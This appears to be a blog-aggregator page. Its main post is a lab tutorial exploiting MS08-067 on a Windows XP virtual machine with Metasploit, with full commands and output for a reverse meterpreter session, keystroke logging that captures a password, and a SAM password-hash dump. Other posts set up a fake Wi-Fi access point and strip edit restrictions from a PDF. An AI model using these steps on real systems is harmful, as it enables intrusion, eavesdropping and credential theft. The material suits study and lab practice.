The reverse_tcp will inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker.

————————————————————————————————Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2008-10-28
———————————————————————————————–Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 281
Rank: Normal


For hacking test I run:
-MS windows XP service pack 2 run in Virtual Box R 5.0.0 r101573 with network setting ‘host only adapter‘.
Metasploit v4.11.4-2015071402 in Linux Ubuntu 14.04 LTS Trusty Tahr

Below are the steps:
1.Run metasploit. Check your IP address and scan the network.
# msfconsole
msf > ifconfig | grep addr (check your ip address)
msf > nmap -sP (scan the network)

2.Check OS target
msf > nmap -O (check OS from target IP)


3.Use and run the exploit
msf > use exploit/windows/smb/ms08_067_netapi (use ms08_067_netapi exploit)
msf exploit(ms08_067_netapi) > set LHOST (set local ip address)
msf exploit(ms08_067_netapi) > set RHOST (set remote ip address)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp (set payload)
msf exploit(ms08_067_netapi) > exploit

4.Ready for hack
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-01-10 19:21:16 +0700
meterpreter >


Type “screenshot” in meterpreter command prompt.
meterpreter > screenshot
Screenshot saved to: /root/kyHNSHFb.jpeg

Type “ps”, to list the running application in target OS.

meterpreter > ps
Process list
PID Name Arch Session User Path
— —- —- ——- —- —-
0 [System Process]
264 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
356 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
532 wscntfy.exe x86 0 LABTEST\Lab Test C:\WINDOWS\system32\wscntfy.exe
568 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
592 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
644 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
656 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
808 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
880 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
972 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1040 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1092 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1432 explorer.exe x86 0 LABTEST\Lab Test C:\WINDOWS\Explorer.EXE
1524 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
meterpreter >

I will run notepad.exe in windows xp, the I type “ps” command again in meterpreter to see the changes.

meterpreter > ps
Process list
PID Name Arch Session User Path
— —- —- ——- —- —-
0 [System Process]
264 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
356 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
532 wscntfy.exe x86 0 LABTEST\Lab Test C:\WINDOWS\system32\wscntfy.exe
568 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
592 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
644 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
656 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
808 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
880 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
972 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1040 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1092 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1432 explorer.exe x86 0 LABTEST\Lab Test C:\WINDOWS\Explorer.EXE
1524 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1680 notepad.exe x86 0 LABTEST\Lab Test C:\WINDOWS\system32\notepad.exe
meterpreter >
msfxp06Now, you can see that notepad is displayed in list running processes.

To have this ability, you have to move your remote from svchost.exe (PID 972) to your target which is notepad.exe (PID 1680).
Type command “migrate 1680” to switch the remote service and “keyscan_start” to start recording the key stokes.

meterpreter > migrate 1680
[*] Migrating from 972 to 1680…
[*] Migration completed successfully.
meterpreter >

meterpreter > keyscan_start
Starting the keystroke sniffer…
meterpreter >

I will type something in notepad and download the key strokes.
Type “keyscan_dump” to dump the captures keystores.

meterpreter > keyscan_dump
Dumping captured keystrokes…
<Ctrl> <Alt> <LCtrl> <LMenu> <Left> <Ctrl> <Alt> <LCtrl> <LMenu> this is a tre <Back> <Back> est. <Return> my user id: admin <Return> password: admin123 <Ctrl> <LCtrl> <LMenu> <Alt>
meterpreter >

As you can see above, anything that I typed with my keyboard are recorded.

What is SAM?
The Security Account Manager (SAM) is a database file in Windows XP, Windows Vista and Windows 7 that stores users’ passwords. It can be used to authenticate local and remote users. SAM uses cryptographic measures to prevent forbidden users to gain access to the system.

The SAM file can not be moved or copied while windows is running. The problem is in the memory copy of the SAM can be dumped.
To get content of the target SAM database, type “hashdump”.
You can decrypt the hash using John the ripper tools after.

meterpreter > hashdump
Lab Test:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:0d52734ebdc7ec8f61afbb4dd87db830:::meterpreter >

on 10 Jan 2016 01:39 PM

04 Jan 2016

The purpose of this tutorial is for education only.
Before I start, I will explain about what is fake access point?

Access Point (AP) is a networking device that allows wireless devices to connect to a wired networking using WIFI.
Fake access point is a virtual access point that is created using an application but it acts like real access point. It is converted from our wireless device into access point. You can set a password, essid and channel on it.

What tools I need?
The tool is airbase-ng. It’s part of aircrack-ng package. So, you need to download the aircrack-ng first. Make sure you are connected to the Internet. Open your linux terminal and type:
$ sudo apt-get install aircrack-ng

What’s next?
You have to make sure that your wireless device is on. Type $ ifconfig | grep addr in your linux terminal.

darklinux@darklinux:~$ ifconfig | grep addr
eth0 Link encap:Ethernet HWaddr 00:a0:d1:79:1f:31
inet addr: Mask:
inet6 addr: ::1/128 Scope:Host
wlan0 Link encap:Ethernet HWaddr 00:1b:77:2b:a3:aa
inet addr: Bcast: Mask:
inet6 addr: fdec:cb30:766a:100:21b:77ff:fe2b:a3aa/64 Scope:Global
inet6 addr: fe80::21b:77ff:fe2b:a3aa/64 Scope:Link
inet6 addr: fdec:cb30:766a:100:44f6:1f8d:66c6:41d3/64 Scope:Global


And the wireless card mode has to ‘monitor’. You can check using command $ ifconfig wlan0.

darklinux@darklinux:~$ ifconfig wlan0
wlan0 IEEE 802.11abg ESSID:”rumahwifi”
Mode:Managed Frequency:2.462 GHz Access Point: EC:CB:30:76:6A:08
Bit Rate=54 Mb/s Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Link Quality=64/70 Signal level=-46 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:40 Missed beacon:0


If the mode is not monitor, you have to change it using $ iwconfig wlan0 mode monitor.
Or just create virtual wireless card using command $ sudo airmon-ng start wlan0.

darklinux@darklinux:~$ sudo airmon-ng start wlan0
[sudo] password for darklinux:
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!
PID Name
746 avahi-daemon
747 avahi-daemon
761 NetworkManager
807 wpa_supplicant
1109 dhclient
Process with PID 1109 (dhclient) is running on interface wlan0
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 – [phy0]
(monitor mode enabled on mon0)

You will have a new wireless device (mon0) is there is no error.

darklinux@darklinux:~$ iwconfig mon0
mon0 IEEE 802.11abg Mode:Monitor Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off


You can check the available wireless network using $ sudo airodump-ng -i mon0.

Start the airbase-ng using $ sudo airbase-ng -c 11 -e freewifi mon0.
-c is the channel
-e wifi name

You can open another linux teriminal and check the status. $ sudo airodump-ng -i mon0.
Now we a fake access point with essid name ‘freewifi‘.

on 04 Jan 2016 12:20 AM

Metasploit Framework (MSF) is a free open source penetration testing solution developed by open source community and rapid7. You can download Metasploit from http://www.metasploit.com. You can use Metasploit to collect the information and scanning the system vunerability.

Metasploit offers a GUI version and command line version.

After you download the metasploit installer, you can register your name. Make sure you get the metasploit license key first to activate the metasploit, otherwise you can’t run the application.

After all complete, now we can start the installation.
Copy the metasploit installer to /opt directory.
Set the file to be executeable using chmod.
$ sudo chmod +x metasploit-latest-linux-installer.run <enter>
then type $ sudo ./metasploit-latest-linux-installer.run <enter> to run the installer.

The opening Screen.metasploit2

Click ‘forward’ to continue. Then follow the steps below.metasploit3metasploit4metasploit5metasploit6metasploit7metasploit8metasploit9metasploit10

If there is no problem, the installation will start.metasploit11


Installation done.
Make sure the ‘Access Metasploit Web UI’ is selected then click ‘Finish’ button to close the installer.


Enter ‘metasploit license key’ to activate the metasploit.metasploit14metasploit15

on 04 Jan 2016 12:20 AM

Why we still need to learn about how to create floppy disk image?
Floppy disk is only used in the old PC but we still need it for simulation in virtual machine. May be you want to collect old applications that run in old MS-DOS, learn about how old viruses work, install first generation linux, etc.. etc so you still need this image.

I will show how to create floppy image in Linux 14.04 LTS.

Step 1. Create directory in /media
Open your linux terminal, type $cd /media. Type $sudo mkdir floppy. to create the floppy directory.

darklinux@darklinux:~$ cd /media
darklinux@darklinux:/media$ ls -l
total 4
drwxr-x—+ 4 root root 4096 Jan 2 15:23 darklinux
$ sudo mkdir floppy
[sudo] password for darklinux:
darklinux@darklinux:/media$ ls -l
total 8
drwxr-x—+ 4 root root 4096 Jan 2 15:23 darklinux
drwxr-xr-x 2 root root 4096 Jan 2 15:49 floppy


Step 2. Create floppy disk image.
Open another linux terminal or go back to home directory.
Type $ mkfs.msdos -C myfloppy.img 1440 to create the floppy image.
-myfloppy.img is the image file
-1440 is floppy size (1.44 MB)

Type $ sudo mount -o loop myfloppy.img /media/floppy/ to mount the image with the floppy directory.

Step 3. Copy the files.
Now you can copy any file but the access has be root. For example, I want to copy oakcdrom.sys, then I type $ sudo cp oakcdrom.sys /media/floppy/
Check the result, $ ls -l /media/floppy/

Step 4. Un mount the link and remove the directory
After all done, you can umount the link. Type $ sudo umount /media/floppy.
And remove the directory, type $ sudo rm -rf /media/floppy/.

Step 5. Check the result.
Check the result with Disk Image Mounter.
Now, you are ready to use it with virtual box.

darklinux@darklinux:~$ mkfs.msdos -C myfloppy.img 1440
mkfs.fat 3.0.26 (2014-03-07)
$ sudo mount -o loop myfloppy.img /media/floppy/
[sudo] password for darklinux:
$ sudo cp oakcdrom.sys /media/floppy/
darklinux@darklinux:~$ ls -l /media/floppy/
total 41
-rwxr-xr-x 1 root root 41302 Jan 2 15:57 oakcdrom.sys
$ sudo umount /media/floppy
darklinux@darklinux:~$ sudo rm -rf /media/floppy/



on 04 Jan 2016 12:18 AM

31 Dec 2015

Selamat Tahun baru 2016

on 31 Dec 2015 05:00 PM

29 Dec 2015

Menikmati Tantangan

Tjetjep RB

2015, di penghujung tahun… tepatnya mulai bulan Nopember 2015, tantangan demi tantangan datang dan pergi diselesaikan silih berganti… Menikmati tantangan untuk menjaga logika tetap jalan dan melatih otak untuk selalu berpikir… Tantangan pekerjaan, keluarga, personil, pertemanan datang dan pergi silih berganti tapi menikmati agar bisa mencapai tujuan… Visualisasinya seperti pada Instagram yg berjudul edisi #x […]
on 29 Dec 2015 10:29 PM

jadi...lupakan tentang menggunakan perangkat lunak yang mungkin, mungkin keliatan high tech, rumit, dan lain sebagainya.

itu yang pertama kali saya lakukan ketika mencoba untuk membuka satu berkas dengan format .pdf yang sudah diamankan dengan password baik itu untuk membuka berkas maupun memodifikasi berkas. karena saya menggunakan sistem operasi GnU/Linux, apa yang saya coba gunakan? pdftk, pdfcrack. ya...perangkat lunak yang mempunyai abilitas untuk membuka password dari berkas .pdf tersebut. 

Gambar 1. Tampilan awal ketika membuka berkas .pdf terenkripsi. dibuka menggunakan
master pdf editor 3.
Gambar 2. Identitas enkripsi pada berkas .pdf.
kalo kita melihat pada gambar 2, kita hanya diizinkan untuk mencetak saja. sedangkan kegiatan lainnya tidak diperbolehkan, alias harus membuka jalur dengan memasukkan password.

nah, sekarang, bagaimana cara membuka password yang sudah dibuat? inilah saatnya saya mungkin akan menggunakan aplikasi-aplikasi yang terlihat "canggih" tadi. tapi...setelah mencari dan berkutat dengan berbagai macam how-to yang tersebar di jagat internet, akhirnya ditemukanlah cara pamungkas yang...lebih baik :D. hahaha...dikatakan pamungkas, mungkin karena saya males ajah kali ya, musti nunggu beberapa saat (ya, tergantung. bisa 1 jam, 1 hari, atau lebih).

kalo liat dari tanggal penulisan artikel tadi, saya sudah ketinggalan 6 (enam), ya 6 tahun! beuh...ya, sebagai pembelaan, khan bukan kerjaan saya buat bongkar-bongkar berkas .pdf yang terenskripsi :D.

okeh, gapapa ya. tulisan ini memang dialamatkan sebagai pengingat terutama untuk saya pribadi. oke lanjut ya. karena saya menggunakan sistem operasi GnU/Linux Ubuntu 12.04, saya membuka berkas .pdf yang terenkripsi tadi menggunakan aplikasi baku pembuka pdf, evince.

nah...nah...tujuan dari tulisan ini adalah MEMBUKA STATUS ENKRIPSI sehingga kita bisa dengan menyunting berkas pdf yang dienkripsi tadi. saratnya memang kita harus tau password untuk membuka berkas yang dikunci tadi. pada kasus yang saya tuliskan ini, saya mengetahui password untuk membuka berkas terkunci tadi. lucky me. tapi, setelah dibuka khan kalo kita liat pada gambar 2, status keamanan pada berkas masih terkunci. kita hanya diijinkan buat nyetak tok. bagaimana kalo kita pengen menyunting berkas tersebut? itulah maksud dari tulisan saya kali ini. karena password untuk membuka berkas dengan password untuk kepentingan penyuntingan seringkali dibuat berbeda. sama seperti kasus yang saya hadapi.

lanjut ke penggunaan evince. setelah berkas kita buka menggunakan evince, langkah selanjutnya adalah dengan mencetak berkas tadi. file -> print.

Gambar 3. Opsi cetak.
pada tabel pencetak, pilih "print to file". sedangkan pada bagian "name" masukkan nama berkas yang diinginkan, lengkap dengan ekstensinya. dalam hal ini .pdf. pada "save in folder", pilih penyimpana berkas yang diinginkan. pada "output format" pilih format PDF. opsi lain-lainnya bisa diabaikan dimana langkah selanjutnya adalah klik pada tombol "print".

hasilnya adalah...berkas yang diproteksi untuk kepentingan penyuntingan, status proteksinya sebagian besar akan terbuka.

Gambar 4. Status dokumen setelah proses print to file.
bandingkan dengan gambar 2 yang statusnya sebagian besar "not allowed." dengan status seperti yang dapat dilihat pada gambar 4, saya sudah bisa menyunting berkas yang sudah dibuka tersebut :). silahkan diubah sesuai kebutuhan, dengan bijak tentunya.

semoga bermanfaat ;).

bahan bacaan:

  1. http://www.giannistsakiris.com/2009/02/24/how-to-unlock-a-secured-pdf-file/
  2. http://www.ubuntugeek.com/howto-crack-pdf-file-password.html
  3. http://www.howtogeek.com/197195/how-to-remove-a-password-from-a-pdf-file-in-linux/
gambar diambil dari:

on 29 Dec 2015 07:23 AM